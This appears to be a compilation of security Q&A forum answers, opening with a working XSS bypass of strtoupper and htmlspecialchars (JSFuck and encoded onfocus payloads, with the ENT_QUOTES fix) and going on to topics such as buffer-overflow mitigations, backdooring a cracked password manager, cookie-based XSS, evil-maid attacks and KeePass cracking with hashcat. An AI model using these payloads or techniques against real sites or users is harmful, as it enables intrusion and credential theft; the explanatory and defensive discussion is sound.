XSS bypass strtoupper & htmlspecialchars

Your parameter $ID is printed inside an HTML tag attribute value. Unfortunately, it's run through htmlspecialchars() which is supposed to encode HTML-significant characters. Since the function doesn't have the ENT_QUOTES flag set, it will escape <, >, &, ", but not ' (single quotes). Lucky for you, the value is enclosed by such single quotes, so you can use ' to break out of the attribute.

Next, you'd want to close the tag and start a new one (e.g. <script>) but htmlspecialchars() doesn't let you (as it escapes > and <). So instead, you have to use an event handler that works for <input> tags. The onload event handler doesn't apply to input boxes but you can use others, e.g.onmouseover. (The side effect is that you will need minimal user interaction to trigger the XSS, or need to take advantage of additional attributes like autofocus to have it triggered immediately on page load.)

So we have this:

<input type='text' value='' onmouseover='(javascript payload)'>
                          |-------------- $ID --------------|

Now, you can't just use plain JS like alert(1) as the payload since the value also runs through strtoupper() that would capitalize the function name to ALERT(1) which is invalid. Instead, you need to find JS code that works with capitals only, or even better, without any letters at all. For that you can use a tool like JSFuck that translates any JS code into an equivalent representation without any letters.

For example, alert(1) becomes:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

So, this would be a working XSS PoC:

' onmouseover='[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

If using JSFuck is impractical for you (e.g. due to URL length restrictions as @chefarov remarked) there are other techniques that work without lowercase letters. E.g., the attribute value can be put entirely as HTML entities so that the a of alert is written as &#X61; and so on. (In your specific scenario you can't use this because htmlspecialchars() would also escape any &.)

However, here's a PoC of a shorter payload that avoids lowercase letters:

xss.php?xss='+autofocus+onfocus=U%3D[][[]]%2B''%3BY%3D[][U[4]%2BU[5]%2BU[6]%2BU[8]]%3BX%3DY%2B''%3BT%3D(!![]%2B'')%3BF%3D(![]%2B'')%3BZ%3DU[8]%2BU[3]%2BX[30]%2BX[31]%2BU[8]%2BU[3]%2B'URI'%3BG%3DY[X[3]%2BX[6]%2BX[2]%2BF[3]%2BT[0]%2BT[1]%2BT[2]%2BX[3]%2BT[0]%2BX[31]%2BT[1]]%3BG(U[3]%2BX[27]%2BF[1]%2BF[2]%2B'('%2BZ%2B'(`%2561%256C%2565%2572%2574%2528%2527%2578%2573%2573%2527%2529`))')()//

(I'm essentially assembling Function(eval(decodeURI(...))) without lowercase letters and can then feed it the actual payload URL-encoded (e.g. a => %61) which never requires lowercase letters.)

The fix

You should encode both double and single quotes by adding the ENT_QUOTES flag:

$NEWID = strtoupper(htmlspecialchars($ID, ENT_QUOTES));


Send hex code into standard input after getting some output

Per your post you can see that the instruction pointer contains your overwritten value. The problem is that the address is incorrect or doesn't contain the expected value.
Per my earlier comment, the answer may be found in the README in that repo. There are many additional counter measures in newer Linux and gcc. You either need to use the VM or weaken the security configuration of the machine you're using. You'll also need to make sure the compiled binary does not have ASLR, PIE or source fortification enabled.


AES-ECB known ciphertext/plaintext attack

No.

Blocks are 16 bytes in size for AES 128 (= 16 letters in ASCII, 8 letters in UTF-16, etc.).

If you have cleartext and ciphertext you know now a number of 16-byte-plaintext/ciphertext pairs and can shuffle them around.

Maybe you can construct an example with something like
"please transfer USD XXXXX from account YYYYY to account ZZZZZZ"

If you have a couple of messages and the blocks align in a meaningful way you could get creative.


Can masked passwords on iOS UIs be read?

The phone should know these passwords if it wants to use it, so it obviously keeps them somewhere in a readable format. If the phone is compromised the attacker would be able to read them. That's actually why some mail providers (GMail, etc) are moving to oAuth so that the phone stores a revokable token instead of the actual password.

While that is possible, I don't think anyone is going to bother modifying the UI code to get what is hidden under the *** characters, rather they would directly get the value from where it is stored even before the UI is involved.


What encryption algorithm outputs 22 characters string?

The encoding seems to be a form of URL-base64 encoding without padding. That's pretty commonly used. The character set allows it to be used in URI parameters like ?enc=....and such contexts.

The result after decoding is then 16 bytes (every 3 bytes becomes 4 characters, so we get 20 from the first 15 bytes and 2 characters more to encode the last byte; you'll note that the final character has fewer options than the other ones, because it really encodes 2 trailing bits (so we'd expect 4 different ones, including A for 00 etc.). Read up on base64 encoding if you want the nitty gritty.

This suggests that a hash of some sort is used. It could be MD4, MD5, MD2 and truncated variants of longer hashes etc. Or if it's sure to be reversible it could be a single block of say AES encrypted data.
Without access to more info it's speculation.


SSD Self Encrypting Drives - Setup / warm boot bypass

TL;DR I expect it to be a non-issue provided both the disk and the BIOS manufacturers know their stuff. Otherwise there's a very slight possibility of it being an issue after all.

The disk encryption password scenario depends on the BIOS. If the BIOS supports the caching feature, then it can cache the password between warm boots, and re-supply it to the drive unit.

Were you to succeed in tricking the BIOS into doing a warm boot instead of a cold boot, normally the BIOS should realize that the password cache is not valid, and lock down, or force a cold boot anew.

The thing that can't be worked around is that the drive can not be successfully decrypted unless the correct password has been loaded into it. In theory the drive should resist an attempt to boot without a valid password. At the very least, being unable to decipher the first sector would make the disk effectively unbootable.

However, if the specific implementation allowed bypassing this (for example, it could be argued that a boot sector is effectively a crib, and so should best be left unencrypted not to provide clues for be-it-ever-so-unlikely bruteforcing), then the system might attempt to boot. The consequences, while unlikely in the extreme, can be serious, all the way up to a permanent data loss due to some disk information being overwritten.

There's also a very slight possibility that what you propose might work.

The volatile memory being used in computers is not actually that volatile, and data have been recovered from RAM chips extracted by powered off computers. Of course the probability of a successful recovery decreases enormously with time (as well as with room temperature - warmer chips degrade faster).

Unless the BIOS performs some kind of scrub, or thorough check, at warm boot too, expressly designed to defeat bit lingering, it is (remotely) possible that:

the cached password is actually stored in a BIOS data area, not on the disk
the disk does not actively react to power loss or cold boot in any way, in particular by resetting the "PASSWORD REQUIRED" flag.
a "cold boot attack" can trick the BIOS into not resetting this area, nor informing the disk of the coldness of the boot
the BIOS data area is still intact and readable

If all that were the case, then you could power up the computer, the BIOS would read the password off uninitialized memory, except that it would not be uninitialized - it would contain the previous password. And you would have your SSD readable. If the last condition was not met, the password would be degraded, and you would find the computer unbootable; but no data would be lost (since no disk boot would occur), and you could try again (after the correct password has been entered at least once more).

However, by looking around, it seems that the industry has considered this problem. For example here you can read,

  The data encryption key does not leave the drive, hence preventing cooled-RAM attacks...

The feasibility of a "cooled RAM" attack is exactly one of the requisites listed above (cooling the target RAM increases likelihood of its data to remain readable). This means that what the BIOS does is just to inform the disk drive that the boot was warm, not cold. If it was cold and the BIOS lied to the disk drive, this would yield nothing - the fact that the boot is actually cold means that the password is not on the disk (again: unless it is the disk itself that suffers from a cooled-RAM vulnerability), so the boot would proceed and find a unreadable, unbootable disk.


Is it reasonable to have the software hold something that the user can't tamper with?

No, tamper-resistant applications implemented purely in software are unfortunately impossible.

Software which runs on the user's machine is under the user's control. The user can extract any secret keys from the program, either from memory at runtime or from the program's binary code. A program and/or the data it uses can not be effectively encrypted, because in order to be executed and accessed it needs to be decrypted, and that decryption key and the decryption algorithm must be available in unencrypted form.

There are obfuscators which make a program harder to decipher, but those only slow down a determined attacker. They can not stop one completely.

In order to do trusted computing you need trusted hardware. There are hardware solutions available for some use-cases, like USB dongles which can hold cryptographic keys which they don't expose to the host device and can perform cryptographic operations in a black-box manner. These devices are usually quite resistant to software tampering, but they might still be susceptible to physical hardware tampering.

Also, whatever data they receive or send back to the host-system can be intercepted. When you want data to stay secret, it must not leave the trusted device.

You are unfortunately not writing enough about your exact use-case to make a guess if that would be an option in your situation and what pitfalls you could possibly step into.


How to list all of the known root keys in docker (Docker Content Trust)

To see what keys you already have on your system (happily/blindly/silently obtained with TOFU unless you put them there yourself), check $HOME/.docker/trust/tuf/docker.io/library
For example:
root@disp9131:~# export DOCKER_CONTENT_TRUST=1
root@disp9131:~#

root@disp9131:~# docker pull debian:stable-slim
Pull (1 of 1): debian:stable-slim@sha256:89ff9e144a438f6bdf89fba6a1fdcb614b6d03bc14433bbb937088ca7c7a7b6d
sha256:89ff9e144a438f6bdf89fba6a1fdcb614b6d03bc14433bbb937088ca7c7a7b6d: Pulling from library/debian
696098ac4087: Pull complete
Digest: sha256:89ff9e144a438f6bdf89fba6a1fdcb614b6d03bc14433bbb937088ca7c7a7b6d
Status: Downloaded newer image for debian@sha256:89ff9e144a438f6bdf89fba6a1fdcb614b6d03bc14433bbb937088ca7c7a7b6d
Tagging debian@sha256:89ff9e144a438f6bdf89fba6a1fdcb614b6d03bc14433bbb937088ca7c7a7b6d as debian:stable-slim
root@disp9131:~#

root@disp9131:~# ls $HOME/.docker/trust/tuf/docker.io/library
debian
root@disp9131:~#

root@disp9131:~# docker pull ubuntu:latest
Pull (1 of 1): ubuntu:latest@sha256:bc2f7250f69267c9c6b66d7b6a81a54d3878bb85f1ebb5f951c896d13e6ba537
sha256:bc2f7250f69267c9c6b66d7b6a81a54d3878bb85f1ebb5f951c896d13e6ba537: Pulling from library/ubuntu
d72e567cc804: Pull complete
0f3630e5ff08: Pull complete
b6a83d81d1f4: Pull complete
Digest: sha256:bc2f7250f69267c9c6b66d7b6a81a54d3878bb85f1ebb5f951c896d13e6ba537
Status: Downloaded newer image for ubuntu@sha256:bc2f7250f69267c9c6b66d7b6a81a54d3878bb85f1ebb5f951c896d13e6ba537
Tagging ubuntu@sha256:bc2f7250f69267c9c6b66d7b6a81a54d3878bb85f1ebb5f951c896d13e6ba537 as ubuntu:latest
root@disp9131:~#

root@disp9131:~# ls $HOME/.docker/trust/tuf/docker.io/library
debian  ubuntu
root@disp9131:~#

WARNING! Note that docker content trust is disabled by default. Even after it's enabled, it will silently download and dumbly trust any root keys it obtains. Therefore, if you're using Docker on an ephemeral build system that launches fresh on every execution, then DCT is entirely security theater and will be vulnerable to MITM attacks on every run.

See Also

https://docs-stage.docker.com/engine/security/trust/content_trust/
https://github.com/docker/cli/issues/2752
https://stackoverflow.com/questions/48277065/docker-trust-initialization
https://stackoverflow.com/questions/63960217/how-to-list-all-of-the-known-root-keys-in-docker-docker-content-trust/64103579#64103579


Why FATCA IDES "protocol" does not use RSA encryption directly on Zip archive?

Due to how the algorithm works, RSA cannot "encrypt" data larger than the key size. When padding is used, this size drops even further - e.g. for PKCS#1 padding you can only encrypt (k/8) - 11 bytes of message, where k is your key size in bits.

Scaling this up to work with arbitrarily sized messages is infeasible due to the additional cost of long RSA keys. As mentioned elsewhere, RSA's performance scaling is quadratic for encryption (i.e. doubling the key length causes it to take four times as long), and cubic for decryption (i.e. doubling the key length causes it to take eight times as long). So if you want to use keys long enough to encrypt, say, 16kB of data, you'd need an 131072-bit key, which would take 262144 times as long on decryption than the same operation on a 2048-bit key. This simply doesn't scale.

What they're referring to in the specification is a hybrid cryptosystem which encrypts the data using a symmetric cipher (e.g. AES), whose key is then encrypted with RSA. This provides the sharing properties of asymmetric cryptography (e.g. anyone being able to create a message, but only the private key owner being able to decrypt it) without using ludicrously huge asymmetric keys, which would ruin performance.


Couldn't websites that want to track our activity just store the data in the DOM?

No, I don't know any website that is doing this. Simply, because it's a silly idea. The DOM is in the memory, and when you access it you're accessing objects stored in the memory. If a website wants to do this, it would simply store the cookie in a JavaScript variable.

var Cookie = 'COOKIE_VALUE';

But there are much much better ways of creating sticky cookies. A good example is the evercookie.


No, there is no comprehensive checklist that you can just complete and be "secure".

Security is not a destination, it's a mindset, and part of the product lifecycle. You need to re-evaluation as your product matures.

There are common exploits. Check the OWASP top 10 list. Since software is so custom, it wouldn't be very useful to have a list where 99% of the concerns wouldn't he applicable.

One common thing develelopers do is use static analysis code scanners to detect known vulnerabilities.


First I'm not very familiar with details about MacOS, so I can't say anything to your 2. point.

For clarification, I assume there is an attacker who (somehow) succeeded in registering and uploading a malicious driver to the Apple repository which is assigned to the imaginary printer model ABC1. And the attacker has some real modified printers (any actual model) which tell connected computers they were of the model ABC1.

About 1. Hardware drivers, assuming the proprietary drivers are USB drivers, usually run at elevated privilege level (kernel mode), which allow them to do nearly everything with your computer, once installed and active. This includes but is not limited to accessing and modifying your whole file system content, recording your keystrokes and monitoring your network traffic. It would be a kind of Rootkit.

About 3. Yes and No, well thats more than one question. First, a USB printer can't actually request your OS to download anything. It is connected via a UBS connection (as printer) and is communicating with your OS per data packets. It's a bit like a network connection. But your printer tells the OS which model it is, and with this information the OS can download an appropriated driver for the printer. So an attacker has just to play the Man-in-the-middle in the USB connection and send a different model number to the OS.

To the second part. The nature of USB, which is exchanging small data packets, does not allow e.g. a printer to simply verify the identity of its communication parter, here the computer. This especially includes things like verifying the binary of the printer driver. There for could neither the printer nor the OS ensure that there is not a Man-in-the-middle attack as described above.

About 4. Well, I'm not an expert in revers-engineering, but you can always analyze a given binary program. However, this is usually a long, difficult and tedious work especially for bigger binaries. But beside the actual reverse engineering there alternative methods like Black-box testing which try not to understand the whole binary, but to observe what it actually does.

About 5. AFAIK. USB itself defines an primitive interface how to print with a USB printer, but it requires additional information. However, the printing system of the OS like CUPS in Linux and MacOS have some support for generic models available which could do the job. But a printer might have additional features like an integrated scanner. Those features won't work without the proprietary driver.


How does responsible disclosure work, once vendor says it's not a security bug?

You are not "obliged" to follow any such practise. Not following them may simply mean that you won't be eligible for some goodies. Or that they can't properly provide a fix.

As for the disclosure itself, it would be ethical in my opinion not to wait for the remaining 80 days.

There's a notorious case of a security researcher that used its not-a-bug on Facebook to post on Mark Zuckenberg's wall (and Facebook "surprisingly" treated him as if he was exploiting a bug).

I would recommend asking again, so you get an explicit statement from their part that they are not interested in the disclosure being embargoed. As an alternative, you may also tell them that you consider it's no longer and thus you will disclose it in eg. 1-2 days from your message unless they tell you otherwise.

It's not so uncommon that some vulnerabilities are initially triaged as not-bugs but later reassessed after they better understand it. You may insist trying to convince them. In which case you should wait before moving into the "I will disclose it now" phase.


What are the security implications of installing an iPhone configuration profile?

These configuration profiles can be used to install certificates on your phone. This let's the company then MITM your traffic and sniff all of your HTTPS connections. This comes down to whether you trust this company to see all your traffic and keep their private key safe so others can't pretend to be them.

As for "trusting" an app, installing any software you don't know about or inherently trust is probably a bad idea.


How to distribute client certificates without exposing private key?

The "normal" way of doing certificates is that the private key never leaves the client system. Things go like this:

The private/public key pair is generated on the client system.
The public key is sent to the CA as part of a certificate request (normally PKCS#10 format).
The CA builds and signs the certificate, which is sent back to the client.

The critical part now becomes making sure that the CA is talking to the right client at issuance time; but, at least, only public data is transferred, which makes things simpler.

I suggest that you send to your prospective clients a one-time password by mail -- not email, but the more traditional paper-based mail. They then use it to enroll on your CA (within HTTPS, of course). Make your life easier: use a CA product which already includes the necessary software and process.


What is actually happening in the background when using such things as airmon?

Interesting question. Airmon-ng is used to enable monitoring mode on wireless interfaces.

You could do that through the following commands too:

> sudo ifconfig wlan1 down
> iw dev wlan1 set type monitor

Now if you check with iwconfig, you'll notice the change.

If you are interesting in knowing how the other tools in the Aircrack-ng suite work, you might want to take a look at https://github.com/aircrack-ng/aircrack-ng. It's an interesting read, but does require some understanding of programming.

Hope this helps!


Can an attacker add malicious instructions to a cracked Password Manager app to exfiltrate credentials ? (1Password, oneSafe, etc.)

Yes, of course this is possible.

The detection difficulty depends heavily on the implementation (more to that later)

How this can be achieved. Example: By simply changing the API endpoints to a server that you control and putting NOPs on the instructions that do the actual encryption (hopefully there is some).

The difficulty relies heavily on the target app. Obfuscation for example makes the process painfully slow. But the scenario includes an attacker that has the skill to bypass some security mechanisms and the most well-thought ones - the crack detection.

About the detection, if you just skip 2-3 instructions (enc/decryption) it’s REALLY hard to detect it. Suspiciousness is mostly raised by network connected things, so a weird domain, would some day, hopefully hit an eye. Maybe.

But if for example you buy 1.password.com or 1-password.com and do no command and control stuff and you just leak passwords over secure SSL, I’d bet that you would have some fun for a couple of years

Unfortunately I have no information on such precedent.


How to conduct XSS via message body or HTTP cookie?

The main attack vector for reflected XSS is creating a request with embedded script code - usually JavaScript - which is then taken by the server and injected in the response sent back to the client. How the script code is sent to the server initially doesn't matter, as long as the server takes it and embeds it in the response.

It seems to me that you struggle with the following question: "How does the attacker trigger the victims browser to send such a request?"

In the URL. You mention that you understand this version, so we can work from there. The attacker crafts a URL that he send to his victim. This can be a simple link, that the victim clicks on, or some kind of redirect from another website. When the victim clicks the link, a GET request is sent with the payload, the server embeds it in the response, and the browser executes the malicious script.
In the message body. If you cannot use a GET request to perform XSS (because the server requires a POST request), you cannot provide the script code in the URL. You still use the same principle, but instead of putting the parameter in the URL, you put it in the message body. It's basically the same, but now you cannot craft a simple link with the payload. Instead you must trick the victims browser to send a POST request. An easy way for an attacker to do this is luring the victim to a website he controls. On this website, he uses e.g. JavaScript to create a form with auto-submit, which includes the payload as a POST parameter in the message body. When the website is visited, the browser executes the JavaScript code which sends the post request with the XSS payload to the vulnerable website - voila!
In a cookie. This seems tricky at first, because you cannot set a cookie for another domain in the victims browser. But that is already the solution to the problem - it does not work usually. What you need is a special use case, that allows you to set the vulnerable cookie through a mechanism in the website. Imagine a cookie that defines the language of the website. The website could implement a simple request that allows the user to store his language preferences in a cookie, allowing an arbitrary value. The server answers with a Set-Cookie response header containing this user defined value. This arbitrary language value is stored in the browser and sent as cookie with every future request. If the website is vulnerable to XSS, meaning it reflects the cookie value without sanitation, an attacker can craft an easy attack by forcing the browser of the victim to send two requests. The first one will store the cookie payload in the browser, the second one will be another request to the website, where the cookie gets reflected.

In the end, the concept of XSS stay the same in all three scenarios, only the attack vectors look slightly different. Providing specific user input, as you requested in your question, doesn't make sense though, because the payload is always the same. If you can do it with a GET parameter in the URL, you can do it with any other form of user input as well.


Encrypting the /boot partition in a Linux system can protect from an Evil Maid Attack?

"Evil maid attack" is a catch-all term for any kind of physical manipulation to a device in the absence of the user.

Encrypting the hard drive would protect you against two of such attacks:

Physically cloning the hard drive
Starting the device and taking a look at the data on the device

It will not protect you from an attacker installing any other form of surveillance devices, like physical network sniffers, physical keyloggers etc.

And then there is also this form of an evil maid attack:

Attacker starts the device from a boot medium they brought.
Attacker installs a new bootloader which shows a decryption password prompt just like the default one.
Attacker shuts the device down and leaves.
When you enter your password, the bootloader asks for your password, which you will enter because it looks just like it always does. It will then decrypt the hard drive and boot the operating system normally, just like usual. But while it does that, it installs a malware payload on the now unencrypted hard drive and/or sends the password it just sniffed to the attacker.

This attack will work as long as you use a pure software solution, because it will always require an unencrypted bootloader on your hard drive in order to decrypt it. The only solution would be if the hard drive encryption could be implemented on the UEFI level. But I haven't heard of anything like that yet.

Always remember the 3rd Immutable Law of Security:

  If a bad guy has unrestricted physical access to your computer, it's not your computer anymore.


How to detect Network Address Translation (NAT)?

This question brought back some memories of when I created (with the help of a friend) a small tool to detect the presence of NAT in networks.

The idea is quite simple (inspired/stolen from the NAT traversal technique in IPSec):

You have network segment A and network segment B, and you want to detect the presence of a NAT between them.
Send a TCP packet containing, in its payload, an MD5 digest of your IP address and the source port from a host in segment A to a host in segment B.
Listen to the packet on the host in segment B. Once received, run the source IP and the source port through MD5 and compare the result with the hash in the payload.
Hashes match -> No NAT.

The tool consisted of two small A.exe and B.exe written in C++.

Note: As all NAT detection techniques out there, this solution works by crosschecking IP-port pairs. There's no other way that guarantees NAT detection.


Does WPA2 Enterprise protect against evasdropping from within the network?

It's not possible to see unicast traffic from other users on your wireless network, unless you happened to capture their initial EAPOL registration which contained their session key. Otherwise, even in monitor mode, you're only going to see their broadcast traffic, which is designed to be received by every other device and shouldn't pose a security risk. I believe you've noticed this broadcast traffic and have assumed that you can see all communication from the other devices on your network.

This is a feature of WPA2, not specifically WPA2-Enterprise. Anything else which happens at a higher level in the stack (such as ARP) has no impact on this situation. You can think of WPA2 as analogous to a wired network switch.


Can web application do anything to prevent risk from client-side malware?

To my knowledge, you are severely limited unless you take the role of an antivirus, which requires privileges on the computer, which can be granted to a webapp through Java or ActiveX, etc. However, even that is spotty.

Providing and requiring a hardware token such as YubiKey will mitigate the keylogger problem by providing automated disposable passwords.
Preventing (where possible) any data from making it to the disk: (make sure your cookies are session only, make sure your pages are no-cache, and, as suggested by p____h, disable autocomplete) (this item may be worth a separate question)

However, beyond that (screen scrapers), the problem remains, you are using hardware that is beyond your control. The user is able to download anything into the computer, malicious or otherwise.

You could advise (or require) the use of non-Windows systems. (ChromeBooks claim to be effective) Depending on the OS you choose, you would either be reducing or restricting the user's ability to inject their own computer, at the same time you would reduce their flexibility to about the same degree; because the most restrictive OSes are probably not the most popular ones, nor would they be the most targeted.


How to respond to attack made from my dedicated server?

If you're truly paranoid, extract only data and completely reload the server.

In most cases, I find it satisfactory to boot the server from a bootable anti-virus rescue disk and run a full scan. Kaspersky's free bootable, updatable rescue disk is a good choice.

ftp://rescuedisk.kaspersky-labs.com/rescuedisk/updatable/

It is important to use a bootable scanner. Some modern malware can completely make itself invisible during the boot process and thereby hide from scanners, even in safe mode. By booting from a CD, you don't give any malware a chance.


The important question is how you generated your PGP key and subkeys.

As explained in the docs there are two ways:

Generating Keys externally from the YubiKey (Recommended)
Generating Your PGP Key directly on Your YubiKey

The first approach is recommended. You can use a live distro such as Tails to generate your keys on an airgapped (without networking) computer. Then you make backups of your keys to removable storage like a USB key or a hard drive, that you keep in a secure place.

The other option is to generate the keys directly on the device. This is very secure but the major drawback is that you cannot backup the keys. If you lose or destroy the device you lose your keys. With this approach, migration is not possible. This option should be avoided unless you know that your key is going to have a limited shelf life.

So if you chose option #1, it is quite easy. You don't need the old YubiKey. Start your live distro, reimport your private keys from the external storage, and you write them to the new YubiKey with the keytocard command.

To answer the question: in order to retain access to your mails you must keep the current key (and subkeys). But the hardware itself does not have to stay the same, it could be another YubiKey or a smart card as long as you have that external backup.

If you really must change your PGP key: in theory you could decrypt files and reencrypt them with a new key,  But with E-mails this is complicated. They are probably stored in a mbox or pst file. Even if they are available as standalone files (on an IMAP server for instance), it's not the whole file that is encrypted but the mail body. The headers are still in clear. AFAIK PGP cannot just decrypt the encrypted part while keeping the rest of the file intact. There is no easy solution I'm afraid.

However, I did a test with Thunderbird. I chose an encrypted message, selected the whole message source (Ctrl-U) and copied it to a file. Then using gpg -d <the file> from the command line I was able to read the mail after entering the passphrase. But you don't have the headers and all that. What you get is a stripped-down version. It's not something that you could reinject to the mbox file for instance.


Nessus Filter Options:

"exploit available" = true (filters plug-ins to those with public exploits)
"metasploit exploit framework" = true (filters plug-ins to those with Metasploit vulnerabilities)

The explanations of these filters can be found in the user guide.

But, I assume that you also want the plugin list to automatically update when the Nessus plugins update. I do not have any info on how to do that, but I think you would need to generate a new policy with the appropriate filters after each plugin update.

Here is Tenable's guide to running scans from within Metasploit.


Alternatives to bruteforce KeePass Cracker

With no knowledge of password selection psychology, your options are limited. The only obvious improvement that I see is to increase attack speed by switching platforms.

Looking at the source code of KeePass Cracker, it is CPU only. You should get a lot more speed by switching to a cracker with GPU support, such as hashcat (which runs on both Windows and Linux, and supports KeePass as a target hash type).


main and sub encryption key on OpenPGP smartcard

That documentation is a bit weird. The reason why there is a "main encryption subkey" is, that the master key in that documentation is created as a DSA key. And since DSA can only be used for signatures and not for encryption, gpg automatically creates a subkey for that purpose (for the ElGamal algorithm).

Since you are creating two more subkeys lateron (of type RSA), that ElGamal key is not needed anymore and thus deleted.

In the end you have one master key which you should only use to sign and revoke other keys and keep offline, and two subkeys for your daily use: One for signing, one for decrypting.


Security-wise, assume that any cryptographic keys you put in your client binary can and will get reverse-engineered and end up on pastebin.com.
The first question is what authentication goal you are trying to accomplish; ie is each instance of your agent tied to a single user account on your service, or are you just trying to ensure that only your agents can connect to your service (ie some kind of DRM)?
If your goal is either to tie an agent to a user account, or just to protect traffic between the browser and the agent, then I would design a "registration protocol" that registers a unique public key with the server for each copy of the agent. Such a registration protocol might look like this:

During install of the agent, have the agent reach out to an enrollment endpoint on the server (possibly having the user logs in to their account (username / password / MFA) if that makes sense)
The agent creates a new keypair and certificate signing request (CSR) locally
The agent sends the CSR up to the service and the service signs and returns a client certificate.

This would require you to run your own private CA and configure your server to accept client certs from that CA. A bit tricky but not as bad as you might think. If and when this gets reverse-engineered then the attacker has only compromised their own copy of the agent and all other instances of your agent remain secure. Note that this model will strongly protect against man-in-the-middle traffic interception attacks and against reverse-engineering, but will not prevent someone from writing their own agent code and registering it.
If your goal is DRM (ie ensuring that the client is an authentic copy of your app), then something like what you've described is kinda your only option: embed a private key in the agent that's common to all agents. Be aware that this is a difficult problem to solve; if and when this gets reverse-engineered, attackers will have fully compromised your DRM key. So you will need to obfuscate the key to make it difficult to reverse-engineer. This is a cat&mouse game with obfuscation techniques needing to constantly evolve to stay ahead of reverse-engineering techniques, so you'll likely need to purchase a commercial obfuscation tool and have a plan to update your obfuscation algorithm and rotate your client key periodically (both for new and existing copies of the agent) to force attackers to start over with the reverse-engineering effort.


On all IRC servers I've seen, the WHOWAS information is stored in memory. It will be removed automatically after a short amount of time (on the order of hours, typically). The information is updated every time you log out, so logging in and logging out will extend its lifespan.

Some IRC services keep extended information about the last hostname a user logged in with, which can usually be viewed with /msg NickServ INFO <yournick>. This data is usually kept until the nickname expires and is unregistered. The Rizon IRC network behaves this way. Getting rid of this information requires logging in with a hostname that you do not mind being public.

The behavior of the WHOWAS command is defined in RFC 1459 § 4.5.3.


How to detect anomalous activity in web server traffic?

It sounds like what you're looking to do is intrusion detection, but at a web application level (layer 7). This is usually referred to as a Web Application Firewall (WAF).

(Note the differences between a network IDS/IPS and a WAF: http://www.sans.org/security-resources/idfaq/ips-web-app-firewall.php)

Web Application Firewalls are generally designed to prevent as well as detect/alert, although they hold the key ability to analyse web traffic for suspected malicious activity. As a general rule they seem include logging and alerting capabilities in addition to the prevention.

Some potential solutions include:

Cloud-based products such as Incapsula and Cloudflare
Host-based such as ModSecurity, IronBee and WebKnight
Appliance/network-based such as F5's ASM, WAPPLES and Barracuda WAF

A list of WAFs from OWASP: https://www.owasp.org/index.php/Web_Application_Firewall

These are examples of popular implementations rather than personal recommendations.


We don't know where your server credential are stored.
